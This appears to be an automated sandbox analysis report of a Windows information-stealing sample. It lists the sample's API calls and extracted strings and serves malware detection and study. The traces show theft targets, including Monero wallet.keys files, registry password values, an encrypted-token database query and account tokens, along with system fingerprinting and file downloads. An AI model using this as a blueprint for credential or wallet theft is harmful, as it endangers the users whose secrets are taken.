Part of subcall function 0101A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0101A7E6

Part of subcall function 010099C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 010099EC
Part of subcall function 010099C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 01009A11
Part of subcall function 010099C0: LocalAlloc.KERNEL32(00000040,?), ref: 01009A31
Part of subcall function 010099C0: ReadFile.KERNEL32(000000FF,?,00000000,0100148F,00000000), ref: 01009A5A
Part of subcall function 010099C0: LocalFree.KERNEL32(0100148F), ref: 01009A90
Part of subcall function 010099C0: CloseHandle.KERNEL32(000000FF), ref: 01009A9A

DeleteFileA.KERNEL32(00000000), ref: 010014EF

Strings

SOFTWARE\monero-project\monero-core, xrefs: 01001335
wallet_path, xrefs: 01001330
.keys, xrefs: 0100136B
\Monero\wallet.keys, xrefs: 0100138D

Memory Dump Source

Source File: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlen$AllocAllocateCopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 3478931302-218353709
Opcode ID: 3399110b447b1d917b8e2594bacb2af4ae40ffea51fbfb9d6886ffc9e32e9947
Instruction ID: a829595f01a34f59a4c7279a3dcbc5a96f454a68c2b36a9ca1e705262f78e652
Opcode Fuzzy Hash: 3399110b447b1d917b8e2594bacb2af4ae40ffea51fbfb9d6886ffc9e32e9947
Instruction Fuzzy Hash: 695175B1E5015A97DB15FB60DD94FED733CAF64200F404198A64AA7084EF346B8ACBA5

Function 010075D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 010072D0: memset.MSVCRT ref: 01007314
Part of subcall function 010072D0: RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,?), ref: 0100733A
Part of subcall function 010072D0: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 010073B1
Part of subcall function 010072D0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0100740D
Part of subcall function 010072D0: GetProcessHeap.KERNEL32(00000000,?), ref: 01007452
Part of subcall function 010072D0: HeapFree.KERNEL32(00000000), ref: 01007459

lstrcat.KERNEL32(3010D020,010217FC), ref: 01007606
lstrcat.KERNEL32(3010D020,00000000), ref: 01007648
lstrcat.KERNEL32(3010D020, : ), ref: 0100765A
lstrcat.KERNEL32(3010D020,00000000), ref: 0100768F
lstrcat.KERNEL32(3010D020,01021804), ref: 010076A0
lstrcat.KERNEL32(3010D020,00000000), ref: 010076D3
lstrcat.KERNEL32(3010D020,01021808), ref: 010076ED
task.LIBCPMTD ref: 010076FB

Strings

: , xrefs: 0100764E

Memory Dump Source

Source File: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuememsettask
String ID: :
API String ID: 3191641157-3653984579
Opcode ID: f2ead8fe97bd5fb0dbc60047bef94966965c58fb90272e51e011fab813603223
Instruction ID: 3b151a0d129b7c9329f75b9a72f9343c7ee4567ec3c92ccf1d339d26fea3da3d
Opcode Fuzzy Hash: f2ead8fe97bd5fb0dbc60047bef94966965c58fb90272e51e011fab813603223
Instruction Fuzzy Hash: 60311C79D4010ADFEB15EBE4EC98DFE7779FB98301F104119E143A7284DA34A946CB50

Function 010072D0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 01007314
RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,?), ref: 0100733A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 010073B1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0100740D
GetProcessHeap.KERNEL32(00000000,?), ref: 01007452
HeapFree.KERNEL32(00000000), ref: 01007459
task.LIBCPMTD ref: 01007555

Strings

Password, xrefs: 01007401

Memory Dump Source

Source File: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuememsettask
String ID: Password
API String ID: 2808661185-3434357891
Opcode ID: 8f086a12fe0abd587a35f01fb38e5cc3346980282844a0c7d35e07b3ac87e62e
Instruction ID: 36f413ef9ca2f524f4176d601186246ad039490da08b02e2083d7daa0699ecba
Opcode Fuzzy Hash: 8f086a12fe0abd587a35f01fb38e5cc3346980282844a0c7d35e07b3ac87e62e
Instruction Fuzzy Hash: D9614DB5C001699BEB25DB50DC44BD9B7B8BF54300F0081E9E6C9A6185DFB46BC9CF90

Function 01017500 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 01017542
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0101757F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 01017603
RtlAllocateHeap.NTDLL(00000000), ref: 0101760A
wsprintfA.USER32 ref: 01017640

Part of subcall function 0101A740: lstrcpy.KERNEL32(01020E17,00000000), ref: 0101A788

Strings

:, xrefs: 0101755C
\, xrefs: 01017560
C, xrefs: 0101754C

Memory Dump Source

Source File: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\
API String ID: 1544550907-3809124531
Opcode ID: 1898a885183eabf42791c5a480f2966122ccf3ecfc358f772836c6a1092a28f4
Instruction ID: c6b2205e7594181cf8475de1c9b62fc1cf24534f9855ffbce9807feebf128240
Opcode Fuzzy Hash: 1898a885183eabf42791c5a480f2966122ccf3ecfc358f772836c6a1092a28f4
Instruction Fuzzy Hash: A04191B5D40248ABDB21DF94DC48BEEBBB8EF18704F004099F54A67284D7786B44CBA5

Function 01018100 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,0186E368,00000000,?,01020E2C,00000000,?,00000000), ref: 01018130
RtlAllocateHeap.NTDLL(00000000), ref: 01018137
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 01018158
__aulldiv.LIBCMT ref: 01018172
__aulldiv.LIBCMT ref: 01018180
wsprintfA.USER32 ref: 010181AC

Strings

%d MB, xrefs: 010181A3
@, xrefs: 0101814D

Memory Dump Source

Source File: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocateGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2774356765-3474575989
Opcode ID: 17182e0337b497cdf5b07b4525ff863fd30026e8dff9f4d0d65d179115e89c0f
Instruction ID: 7f4ca11ea37908840482c2216e7234b1db1a31621e9d14d607241a1276abb9a7
Opcode Fuzzy Hash: 17182e0337b497cdf5b07b4525ff863fd30026e8dff9f4d0d65d179115e89c0f
Instruction Fuzzy Hash: 70212EB1E44219ABDB10DFD5DC49FAEB7B8FB44B10F104609F605BB284D77869008BA5

Function 010060A0 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0101A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0101A7E6

Part of subcall function 010047B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 01004839
Part of subcall function 010047B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 01004849

InternetOpenA.WININET(01020DF7,00000001,00000000,00000000,00000000), ref: 0100610F
StrCmpCA.SHLWAPI(?,0186E718), ref: 01006147
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 0100618F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 010061B3
InternetReadFile.WININET(?,?,00000400,?), ref: 010061DC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0100620A
CloseHandle.KERNEL32(?,?,00000400), ref: 01006249
InternetCloseHandle.WININET(?), ref: 01006253
InternetCloseHandle.WININET(00000000), ref: 01006260

Memory Dump Source

Source File: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2507841554-0
Opcode ID: d05166d596454e4a5a591497ebb9909a0208c963a3e2070974b8522b417422d7
Instruction ID: f983d316913c964a48c9257ae9c3b3c08f8c3d2ba88892e562372cf2a9498f9e
Opcode Fuzzy Hash: d05166d596454e4a5a591497ebb9909a0208c963a3e2070974b8522b417422d7
Instruction Fuzzy Hash: D05170B1A40219EBEB25DF50DC48BEE77B9FB44701F008098E646A71C4DB756B89CF94

Function 0100BA80 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0101A740: lstrcpy.KERNEL32(01020E17,00000000), ref: 0101A788

Part of subcall function 0101A9B0: lstrlen.KERNEL32(?,01869010,?,\Monero\wallet.keys,01020E17), ref: 0101A9C5
Part of subcall function 0101A9B0: lstrcpy.KERNEL32(00000000), ref: 0101AA04
Part of subcall function 0101A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0101AA12

Part of subcall function 0101A920: lstrcpy.KERNEL32(00000000,?), ref: 0101A972
Part of subcall function 0101A920: lstrcat.KERNEL32(00000000), ref: 0101A982

Part of subcall function 0101A8A0: lstrcpy.KERNEL32(?,01020E17), ref: 0101A905

Part of subcall function 0101A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0101A7E6

lstrlen.KERNEL32(00000000), ref: 0100BC9F

Part of subcall function 01018E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 01018E52

StrStrA.SHLWAPI(00000000,AccountId), ref: 0100BCCD
lstrlen.KERNEL32(00000000), ref: 0100BDA5
lstrlen.KERNEL32(00000000), ref: 0100BDB9

Strings

SELECT service, encrypted_token FROM token_service, xrefs: 0100BBEB
AccountTokens, xrefs: 0100BB49
AccountTokens, xrefs: 0100BABA
AccountId, xrefs: 0100BCC4

Memory Dump Source

Source File: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocal
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3073930149-1079375795
Opcode ID: 26b8c7fce41d7d2717b15a2f4e48a10b6d586d1a3684e2f844a8320920331d32
Instruction ID: e25829b5aca1dbd522dad186624f5d6c5917db71f85d2087a5658192b107ff24
Opcode Fuzzy Hash: 26b8c7fce41d7d2717b15a2f4e48a10b6d586d1a3684e2f844a8320920331d32
Instruction Fuzzy Hash: 5AB1A176A11149DBDF14FBA0DD94EEE7339AF64210F404158F983A7098EF386E49CBA0

Function 01004FB0 Relevance: 10.6, APIs: 7, Instructions: 83networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 01004FCA
RtlAllocateHeap.NTDLL(00000000), ref: 01004FD1
InternetOpenA.WININET(01020DDF,00000000,00000000,00000000,00000000), ref: 01004FEA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 01005011
InternetReadFile.WININET(?,?,00000400,00000000), ref: 01005041
InternetCloseHandle.WININET(?), ref: 010050B9
InternetCloseHandle.WININET(?), ref: 010050C6

Memory Dump Source

Source File: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

